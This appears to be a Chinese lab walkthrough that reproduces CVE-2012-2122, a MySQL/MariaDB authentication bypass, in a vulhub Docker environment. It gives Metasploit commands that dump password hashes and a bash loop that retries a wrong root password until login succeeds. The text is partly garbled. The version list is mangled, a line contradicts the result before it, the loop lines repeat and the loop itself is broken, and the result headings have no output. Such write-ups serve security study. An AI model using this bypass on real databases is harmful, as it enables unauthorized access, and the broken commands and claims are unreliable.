漏洞描述
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
受影响版本:
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
kali 环境配置
安装https协议、CA证书、dirmngr
apt-get update
apt-get install -y apt-transport-https ca-certificates
apt-get install dirmngr
添加GPG密钥并添加更新源
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list
系统更新以及安装docker
apt-get update&&apt install docker-ce
启动docker服务器 和compose
service docker start || apt install docker-compose
下载安装vulhub
git clone https://github.com/vulhub/vulhub.git
漏洞复现
启动环境/vulhub-master/mysql/CVE-2012-2122
docker-compose up -d
初始化完成后 访问 ip:端口号
这里我们采用msfconsole中的模块进行漏洞验证
service postgresql start 启动msf
use auxiliary/scanner/mysql/mysql_authbypass_hashdump 选择该模块
set rhosts 192.168.1.129 设置目标
set threads 10 设置线程 run
发现可以攻击漏洞
无法绕过身份,无法攻击
kali 尝试正常方式链接 默认用户名为 root,密码为 123456
mysql -h 192.168.1.129 -uroot -p123456
创建sh文件,并执行内容如下
bash for i in seq 1 1000; do mysql -uroot -pwrong -h 192.168.1.129 -P3306 ; done
bash for i in seq 1 1000
; do mysql -uroot -pwrong -h 192.168.1.129 -P3306 ; done
查询结果
bash for i in seq 1 1000
; do mysql -uroot -pwrong -h 192.168.1.129 -P3306 ; done
查询结果